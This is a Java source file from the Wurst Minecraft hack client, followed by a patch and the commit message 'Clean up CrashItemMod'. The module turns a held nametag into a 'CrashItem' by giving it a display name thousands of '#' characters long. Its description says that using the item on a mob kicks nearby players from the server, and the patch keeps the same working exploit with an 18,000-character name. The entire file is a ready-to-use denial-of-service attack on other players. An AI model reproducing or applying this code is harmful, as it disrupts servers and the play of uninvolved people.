/*
 * Copyright  2014 - 2016 | Wurst-Imperium | All rights reserved.
 * 
 * This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/.
 */
package tk.wurst_client.mods;

import net.minecraft.client.gui.inventory.GuiInventory;
import net.minecraft.item.ItemNameTag;
import tk.wurst_client.utils.ChatUtils;

@Mod.Info(
	description = "Generates a CrashItem.\n"
		+ "Right click a mob with it to kick nearby players from the server.",
	name = "CrashItem",
	tags = "CrashNametag, CrashTag, crash item, crash nametag, crash tag",
	help = "Mods/CrashItem")
@Mod.Bypasses
public class CrashItemMod extends Mod
{
	@Override
	public void onEnable()
	{
		if(mc.player.inventory.getCurrentItem() == null
			|| !(mc.player.inventory.getCurrentItem().getItem() instanceof ItemNameTag))
		{
			ChatUtils.error("You are not holding a nametag in your hand.");
			setEnabled(false);
			return;
		}else if(!mc.player.capabilities.isCreativeMode)
		{
			ChatUtils.error("Creative mode only.");
			setEnabled(false);
			return;
		}
		String stackName = "";
		for(int i = 0; i < 3000; i++)
		{
			StringBuilder builder = new StringBuilder().append(stackName);
			stackName = builder.append("############").toString();
		}
		mc.player.inventory.getCurrentItem().setStackDisplayName(stackName);
		mc.displayGuiScreen(new GuiInventory(mc.player));
		mc.player.closeScreen();
		ChatUtils.message("CrashItem created. Right click a mob with it.");
		setEnabled(false);
	}
}

@@ -398,16 +398,53 @@
 ameTag;%0A
+import net.minecraft.item.ItemStack;%0A
 import t
@@ -507,29 +507,69 @@
  = %22
-Generates a CrashItem
+Modifies a nametag so that it can kick people from the server
 .%5Cn%22
@@ -597,18 +597,36 @@
 ob with 
-i
 t
+he modified nametag
  to kick
@@ -626,16 +626,20 @@
 to kick 
+all 
 nearby p
@@ -644,32 +644,16 @@
  players
- from the server
 .%22,%0A%09nam
@@ -863,13 +863,34 @@
 %0A%09%7B%0A
+%09%09// check gamemode%0A
 %09%09if(
+!
 mc.p
@@ -899,87 +899,244 @@
 yer.
-inventory.getCurrentItem() == null%0A%09%09%09%7C%7C !(mc.player.inventory.getCurrentItem()
+capabilities.isCreativeMode)%0A%09%09%7B%0A%09%09%09ChatUtils.error(%22Creative mode only.%22);%0A%09%09%09setEnabled(false);%0A%09%09%09return;%0A%09%09%7D%0A%09%09%0A%09%09// check held item%0A%09%09ItemStack heldStack = mc.player.inventory.getCurrentItem();%0A%09%09if(heldStack == null %7C%7C !(heldStack
 .get
@@ -1199,23 +1199,12 @@
 You 
-are not holding
+need
  a n
@@ -1267,139 +1267,33 @@
 %0A%09%09%7D
-else if(!mc.player.capabilities.isCreativeMode)
 %0A%09%09
-%7B
 %0A%09%09
-%09ChatUtils.error(%22Creative mode only.%22);%0A%09%09%09setEnabled(false);%0A%09%09%09return;%0A%09%09%7D
+// modify held item
 %0A%09%09S
@@ -1297,16 +1297,23 @@
 %09%09String
+Builder
  stackNa
@@ -1321,10 +1321,27 @@
 e = 
-%22%22
+new StringBuilder()
 ;%0A%09%09
@@ -1363,9 +1363,10 @@
 i %3C 
-3
+18
 000;
@@ -1377,121 +1377,73 @@
 )%0A%09%09
-%7B%0A%09%09%09StringBuilder builder = new StringBuilder().append(stackName);%0A%09%09%09stackName = builder.append(%22############%22)
+%09stackName.append('#');%0A%09%09heldStack.setStackDisplayName(stackName
 .toS
@@ -1453,84 +1453,103 @@
 ng()
+)
 ;%0A%09%09
-%7D
 %0A%09%09
-mc.player.inventory.getCurrentItem().setStackDisplayName(stackName);
+// open & close the inventory%0A%09%09// for some reason that's needed for the item to update
 %0A%09%09m
@@ -1624,16 +1624,19 @@
 reen();%0A
+%09%09%0A
 %09%09ChatUt
@@ -1652,52 +1652,24 @@
 ge(%22
-CrashItem created. Right click a mob with it
+Nametag modified
 .%22);

Clean up CrashItemMod